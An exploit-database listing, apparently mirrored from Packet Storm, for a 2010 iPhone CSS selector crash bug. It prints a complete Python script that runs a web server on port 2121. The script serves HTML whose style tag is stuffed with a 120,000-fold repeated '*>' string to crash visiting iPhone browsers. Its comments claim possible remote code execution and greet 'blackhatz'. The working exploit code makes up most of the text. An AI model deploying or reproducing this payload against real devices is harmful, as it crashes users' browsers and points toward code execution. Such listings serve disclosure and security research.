iPhone CSS::Selector Crash Exploit

🗓️ 25 Feb 2010 00:00:00Reported by Chase HigginsType

packetstorm🔗 packetstormsecurity.com👁 32 Views

iPhone CSS Selector Crash Exploit Python script acts as a web server, sending a malformed long string to the CSS <style> tag causing a remote crash bug with potential for remote code execution

`#!/usr/bin/python  
# ,  
# dM  
# MMr  
# 4MMML .  
# MMMMM. xf  
# . "M6MMM .MM-  
# Mh.. +MM5MMM .MMMM  
# .MMM. .MMMMML. MMMMMh  
# )MMMh. MM5MMM MMMMMMM  
# 3MMMMx. 'MMM3MMf xnMMMMMM"  
# '*MMMMM MMMMMM. nMMMMMMP"  
# *MMMMMx "MMM5M\ .MMMMMMM=  
# *MMMMMh "MMMMM" JMMMMMMP  
# MMMMMM GMMMM. dMMMMMM .  
# MMMMMM "MMMM .MMMMM( .nnMP"  
# .. *MMMMx MMM" dMMMM" .nnMMMMM*  
# "MMn... 'MMMMr 'MM MMM" .nMMMMMMM*"  
# "4MMMMnn.. *MMM MM MMP" .dMMMMMMM""  
# ^MMMMMMMMx. *ML "M .M* .MMMMMM**"  
# *PMMMMMMhn. *x > M .MMMM**""  
# ""**MMMMhx/.h/ .=*"  
# .3P"%....  
# [t12] nP" "*MMnx   
  
# SMOKE WEED  
#greetz to my blackhatz and baycatz  
#iPhone CSS::Selector crash  
#this Python script acts as a web server and sends a malformed long string to the CSS <style> tag  
#this is a remote crash bug, hoever an analysis of the debug dump shows remote code execution capability, I am just lazy  
  
import sys, socket;  
  
def main():  
junk = "*>" * 120000;  
  
html = """  
<html>  
<head>  
<style type="text/css">  
""";  
  
html += junk;  
  
html += """  
body {background: blue;}  
</style>  
</head>  
</html>  
""";  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);  
s.bind(('',2121));  
s.listen(1);  
  
while True:  
channel, details = s.accept();  
print channel.recv(1024);  
channel.send(html);  
channel.close();  
  
main();  
`

25 Feb 2010 00:00Current

0.1Low risk

Vulners AI Score0.1